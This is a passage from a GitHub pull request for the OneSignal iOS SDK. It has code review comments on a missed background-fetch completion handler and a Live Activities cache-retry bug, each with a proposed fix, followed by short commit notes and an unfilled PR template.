In all of these states, swizzling is still active, the SDK's swizzled wrapper has already run the dev's AppDelegate (which forwards to the SDK), and the dev's AppDelegate trusts the SDK to invoke its completion handler. The SDK swizzled wrapper at UIApplicationDelegate+OneSignalNotifications.m only calls the completion handler itself when forwarder.hasReceiver is false — when a receiver exists, the receiver is expected to invoke it. So the handler never fires, and iOS throttles background pushes for that app. The one-time warning log gives no hint that this is the consequence.
Step-by-step proof
Assume swizzling is active (OneSignal_disable_swizzling unset or false) and the developer has implemented manual forwarders in their AppDelegate:
- iOS delivers a content-available push and calls the dev's swizzled
application:didReceiveRemoteNotification:fetchCompletionHandler:with a non-nilcompletionHandler. - The SDK's swizzled wrapper runs first; because the dev defined the selector,
forwarder.hasReceiveris true, so the SDK invokes the dev's original AppDelegate method and does NOT call the completion handler itself. - The dev's AppDelegate calls
[OneSignal.Notifications didReceiveRemoteNotification:userInfo completionHandler:completionHandler](this is exactly what the PR's Dev App now does). - Inside
+didReceiveRemoteNotification:completionHandler:(line 938),[self isSwizzlingDisabled]returns NO, so the method logs the warning andreturns at line 941 without calling the suppliedcompletionHandler. - Control unwinds. Nobody — not the SDK, not the dev — calls iOS's fetch completion handler.
- iOS waits, observes the handler was not invoked, and applies background-notification throttling to the app going forward.
Contrast with step 4 for the willPresent path: that method calls completion([OSNotification new]) first, so the foreground-presentation flow is at least safe.
Why existing code doesn't prevent it
- The guard exists specifically to catch this misconfiguration, so it is on the expected misuse path.
- The warning log is informational only and does not invoke the handler.
- The swizzled-wrapper-only call to the handler (
forwarder.hasReceiver ? nil : completionHandlerinUIApplicationDelegate+OneSignalNotifications.m) only runs when the dev did not implement the selector at all; here the dev did implement it (to forward to OneSignal), so it is bypassed.
Fix
Call the completion handler before returning, matching the sibling willPresent pattern:
+ (void)didReceiveRemoteNotification:(NSDictionary*)userInfo
completionHandler:(void (^)(UIBackgroundFetchResult))completionHandler {
if (![self isSwizzlingDisabled]) {
[OneSignalLog onesignalLog:ONE_S_LL_WARN
message:@"OneSignal: didReceiveRemoteNotification:completionHandler: ignored because swizzling is active. ..."];
completionHandler(UIBackgroundFetchResultNoData); // <-- add this
return;
}
...
}UIBackgroundFetchResultNoData is the safe default since the SDK is intentionally not processing the payload on this path. This is one line and brings the method in line with willPresent's well-handled equivalent guard.
| private func caches(_ block: (RequestCache) -> Void) { | ||
| block(self.startTokens) | ||
| block(self.updateTokens) | ||
| block(self.receiveReceipts) | ||
| block(self.clickEvents) | ||
| } |
There was a problem hiding this comment.
🔴 In OSLiveActivitiesExecutor.onPushSubscriptionDidChange (lines 158-171), the closure passed to self.caches { _ in self.startTokens.markAllUnsuccessful() } ignores its RequestCache parameter and always hard-codes self.startTokens. Since this PR extends caches(_:) at lines 202-207 to iterate four caches (startTokens, updateTokens, receiveReceipts, clickEvents), startTokens.markAllUnsuccessful() now runs 4× while updateTokens / receiveReceipts / clickEvents are never re-marked — so after a push-subscription-id change (login/logout) only start-token requests are resent with the new ID, contradicting the comment on line 163 that says "we need to re-send up all update and start tokens with the new ID." Fix: use the closure parameter, e.g. self.caches { cache in cache.markAllUnsuccessful() }.
Extended reasoning...
What the bug is
In OSLiveActivitiesExecutor.onPushSubscriptionDidChange (file iOS_SDK/OneSignalSDK/OneSignalLiveActivities/Source/Executors/OSLiveActivitiesExecutor.swift, lines 158-171), the code is:
func onPushSubscriptionDidChange(state: OneSignalUser.OSPushSubscriptionChangedState) {
if state.previous.id == state.current.id {
return
}
// when a push subscription id changes, we need to re-send up all update and start tokens with the new ID.
self.requestDispatch.async {
self.caches { _ in
self.startTokens.markAllUnsuccessful()
}
self.pollPendingRequests()
}
}The closure passed to self.caches { ... } ignores its RequestCache parameter (_ in) and unconditionally invokes self.startTokens.markAllUnsuccessful(). Meanwhile, caches(_:) at lines 202-207 invokes the block once per cache:
private func caches(_ block: (RequestCache) -> Void) {
block(self.startTokens)
block(self.updateTokens)
block(self.receiveReceipts) // added in this PR
block(self.clickEvents) // added in this PR
}So the body fires 4 times, but each time it operates on self.startTokens — startTokens.markAllUnsuccessful() is called 4× (idempotent, same as once), and updateTokens, receiveReceipts, and clickEvents are never marked unsuccessful.
Why existing code does not prevent it
pollPendingRequests (line 187) only re-executes requests where !request.requestSuccessful (line 195). Since the bug never flips requestSuccessful = false on the other three caches, those cached requests stay marked successful and are skipped on the next poll. There is no other code path that re-marks them after a subscription-id change.
Why this PR makes it worse
The closure has always hard-coded startTokens, so the update-tokens half of the bug is pre-existing. However, this PR:
- Adds
receiveReceiptsandclickEventsto the iteration incaches(_:)(lines 205-206), so two additional caches now silently miss the retry. - Adds two new request types (
OSRequestLiveActivityReceiveReceipts,OSRequestLiveActivityClicked) that route into those caches viagetCache(_:)(lines 209-219) — strictly more state now leaks.
The comment on line 163 explicitly states the intent: "we need to re-send up all update and start tokens with the new ID." The current implementation does not satisfy that intent for update tokens (pre-existing) and now also does not satisfy it for two newly added request types (regression-adjacent).
Step-by-step proof
- Cold-start with subscription id
sub_A. SDK enqueuesOSRequestSetUpdateToken(key: "activity_1", token: "tok_1"). The request fires successfully againstsub_A, gets cached inupdateTokenswithrequestSuccessful = true. (OSLiveActivitiesExecutorTests.testSendUpdateTokenRequestWithSuccessfulRequestcovers this happy path.) - User logs out → logs in.
onPushSubscriptionDidChangefires withstate.previous.id = sub_A,state.current.id = sub_B. - The dispatched block runs
self.caches { _ in self.startTokens.markAllUnsuccessful() }:- Iteration 1 (cache=startTokens): runs
self.startTokens.markAllUnsuccessful()— fine. - Iteration 2 (cache=updateTokens): runs
self.startTokens.markAllUnsuccessful()again —updateTokens["activity_1"].requestSuccessfulstaystrue. - Iteration 3 (cache=receiveReceipts): same, no-op on the actual receiveReceipts cache.
- Iteration 4 (cache=clickEvents): same, no-op on the actual clickEvents cache.
- Iteration 1 (cache=startTokens): runs
pollPendingRequestsruns ~pollIntervalSecondslater and at line 195 filterscache.items.values.filter({ !$0.requestSuccessful }). ForupdateTokens["activity_1"]the flag is stilltrue, so it is skipped.- Result: the device’s update-token registration is stranded on
sub_Aeven though the device is now subscriptionsub_B. The push service routes update notifications tosub_A’s mapping and the new subscription receives no Live Activity updates until the next time the token actually changes (e.g., system rotates the pushToken).
The two PR-added caches behave identically — any pending receive-receipt or click-event request that failed before the subscription change will never be retried against the new subscription id.
Fix
Use the closure parameter:
self.caches { cache in
cache.markAllUnsuccessful()
}This is the obvious intent from the comment on line 163 and from pollPendingRequests already using self?.caches { cache in ... } correctly on line 194. Fix is one line, and there is unit-test coverage scaffolding in OSLiveActivitiesExecutorTests to confirm.
since this is just for rebasing, we can refactor in followup
513f1a4 to
4904ce4
Compare
no longer used
The workflow stamped response_time_in_business_days into a hidden probot metadata block on each issue. No consumer reads the value.
- .travis.yml: pins Xcode 11.1 / iOS 13.1 from 2019; CI runs on .github/workflows/ci.yml (Xcode 16.4). - issue_template.md: shadowed by .github/ISSUE_TEMPLATE/*.yml form templates, which GitHub prefers. - default: ci.yml writes this file every run, so the committed copy is not load-bearing.
READ AND DELETE THIS SECTION BEFORE SUBMITTING PR
Description
One Line Summary
REQUIRED - Very short description that summaries the changes in this PR.
Details
Motivation
REQUIRED - Why is this code change being made? Or what is the goal of this PR? Examples: Fixes a specific bug, provides additional logging to debug future issues, feature to allow X.
Scope
RECOMMEND - OPTIONAL - What is intended to be effected. What is known not to change. Example: Notifications are grouped when parameter X is set, not enabled by default.
OPTIONAL - Other
OPTIONAL - Feel free to add any other sections or sub-sections that can explain your PR better.
Testing
Unit testing
OPTIONAL - Explain unit tests added, if not clear in the code.
Manual testing
RECOMMEND - OPTIONAL - Explain what scenarios were tested and the environment.
Example: Tested opening a notification while the app was foregrounded, app build with Android Studio 2020.3 with a fresh install of the OneSignal example app on a Pixel 6 with Android 12.
Affected code checklist
Checklist
Overview
Testing
Final pass